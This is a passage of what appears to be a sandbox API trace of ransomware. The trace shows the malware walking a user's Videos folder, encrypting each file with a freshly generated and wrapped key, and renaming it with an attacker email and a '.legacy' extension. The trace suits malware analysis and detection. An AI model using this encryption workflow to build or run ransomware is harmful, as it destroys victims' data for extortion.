(HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.431] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ca7d0, ftCreationTime.dwHighDateTime=0x1d4cf03, ftLastAccessTime.dwLowDateTime=0x9b2d4de0, ftLastAccessTime.dwHighDateTime=0x1d4ca7c, ftLastWriteTime.dwLowDateTime=0x9b2d4de0, ftLastWriteTime.dwHighDateTime=0x1d4ca7c, nFileSizeHigh=0x0, nFileSizeLow=0xe82b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="f1Uz1Wg9Ik_0zvE6Q.flv", cAlternateFileName="F1UZ1W~1.FLV")) returned 1 [0113.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0113.431] GetLastError () returned 0x0 [0113.431] SetLastError (dwErrCode=0x0) [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0113.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0113.432] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd20e050e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd20e050e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.432] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf505ad0, ftCreationTime.dwHighDateTime=0x1d4c845, ftLastAccessTime.dwLowDateTime=0x584bd440, ftLastAccessTime.dwHighDateTime=0x1d4cc0e, ftLastWriteTime.dwLowDateTime=0x584bd440, ftLastWriteTime.dwHighDateTime=0x1d4cc0e, nFileSizeHigh=0x0, nFileSizeLow=0x152c6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="W-M_-0SasuJwP.mp4", cAlternateFileName="W-M_-0~1.MP4")) returned 1 [0113.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0113.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0113.432] GetLastError () returned 0x0 [0113.432] SetLastError (dwErrCode=0x0) [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.433] FindNextFileW (in: hFindFile=0x5c6358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf505ad0, ftCreationTime.dwHighDateTime=0x1d4c845, ftLastAccessTime.dwLowDateTime=0x584bd440, ftLastAccessTime.dwHighDateTime=0x1d4cc0e, ftLastWriteTime.dwLowDateTime=0x584bd440, ftLastWriteTime.dwHighDateTime=0x1d4cc0e, nFileSizeHigh=0x0, nFileSizeLow=0x152c6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="W-M_-0SasuJwP.mp4", cAlternateFileName="W-M_-0~1.MP4")) returned 0 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\W-M_-0SasuJwP.mp4", dwFileAttributes=0x80) returned 1 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0113.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e77e8 [0113.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0113.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\W-M_-0SasuJwP.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\w-m_-0sasujwp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.434] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=86726) returned 1 [0113.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x152c6) returned 0x5e9bd0 [0113.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x152c6) returned 0x2e20fd8 [0113.435] ReadFile (in: hFile=0x60c, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x152c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x152c6, lpOverlapped=0x0) returned 1 [0113.439] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-86726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.439] WriteFile (in: hFile=0x60c, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x152c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x152c6, lpOverlapped=0x0) returned 1 [0113.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0113.444] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x152c6 [0113.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.445] WriteFile (in: hFile=0x60c, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.445] WriteFile (in: hFile=0x60c, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.445] CloseHandle (hObject=0x60c) returned 1 [0113.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.446] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\W-M_-0SasuJwP.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\w-m_-0sasujwp.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\W-M_-0SasuJwP.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\w-m_-0sasujwp.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0113.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0113.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0113.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0113.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0113.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.448] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\f1Uz1Wg9Ik_0zvE6Q.flv", dwFileAttributes=0x80) returned 1 [0113.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0113.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8140 [0113.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.451] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\f1Uz1Wg9Ik_0zvE6Q.flv" (normalized: "c:\\users\\fd1hvy\\videos\\f1uz1wg9ik_0zve6q.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.451] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=59435) returned 1 [0113.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe82b) returned 0x5e9bd0 [0113.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe82b) returned 0x5f8408 [0113.452] ReadFile (in: hFile=0x60c, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xe82b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe82b, lpOverlapped=0x0) returned 1 [0113.454] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-59435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.454] WriteFile (in: hFile=0x60c, lpBuffer=0x5f8408*, nNumberOfBytesToWrite=0xe82b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f8408*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe82b, lpOverlapped=0x0) returned 1 [0113.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f8408 | out: hHeap=0x520000) returned 1 [0113.456] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe82b [0113.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.457] WriteFile (in: hFile=0x60c, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.457] WriteFile (in: hFile=0x60c, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.457] CloseHandle (hObject=0x60c) returned 1 [0113.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0113.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.458] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\f1Uz1Wg9Ik_0zvE6Q.flv" (normalized: "c:\\users\\fd1hvy\\videos\\f1uz1wg9ik_0zve6q.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\f1Uz1Wg9Ik_0zvE6Q.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\f1uz1wg9ik_0zve6q.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8140 | out: hHeap=0x520000) returned 1 [0113.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0113.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0113.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0113.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0113.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.463] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=504) returned 1 [0113.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x5646a8 [0113.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x52f438 [0113.463] ReadFile (in: hFile=0x60c, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0113.464] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.464] WriteFile (in: hFile=0x60c, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0113.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0113.465] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f8 [0113.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.465] WriteFile (in: hFile=0x60c, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.466] WriteFile (in: hFile=0x60c, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.466] CloseHandle (hObject=0x60c) returned 1 [0113.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.466] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Videos\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0113.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0113.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0113.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0113.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0113.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.468] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\bFSomikRWvtTr8H3PYId.mp4", dwFileAttributes=0x80) returned 1 [0113.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0113.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0113.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0113.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\bFSomikRWvtTr8H3PYId.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\bfsomikrwvttr8h3pyid.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.469] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=48038) returned 1 [0113.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbba6) returned 0x5e9bd0 [0113.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbba6) returned 0x5f5780 [0113.469] ReadFile (in: hFile=0x60c, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xbba6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xbba6, lpOverlapped=0x0) returned 1 [0113.472] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-48038, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.472] WriteFile (in: hFile=0x60c, lpBuffer=0x5f5780*, nNumberOfBytesToWrite=0xbba6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f5780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbba6, lpOverlapped=0x0) returned 1 [0113.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f5780 | out: hHeap=0x520000) returned 1 [0113.473] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbba6 [0113.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.474] WriteFile (in: hFile=0x60c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.474] WriteFile (in: hFile=0x60c, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.474] CloseHandle (hObject=0x60c) returned 1 [0113.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0113.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.475] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\bFSomikRWvtTr8H3PYId.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\bfsomikrwvttr8h3pyid.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\bFSomikRWvtTr8H3PYId.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\bfsomikrwvttr8h3pyid.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0113.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0113.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0113.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.477] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\9BMwU.avi", dwFileAttributes=0x80) returned 1 [0113.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0113.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.478] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\9BMwU.avi" (normalized: "c:\\users\\fd1hvy\\videos\\9bmwu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0113.478] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76260) returned 1 [0113.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x129e4) returned 0x5e9bd0 [0113.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x129e4) returned 0x5fc5c0 [0113.478] ReadFile (in: hFile=0x60c, 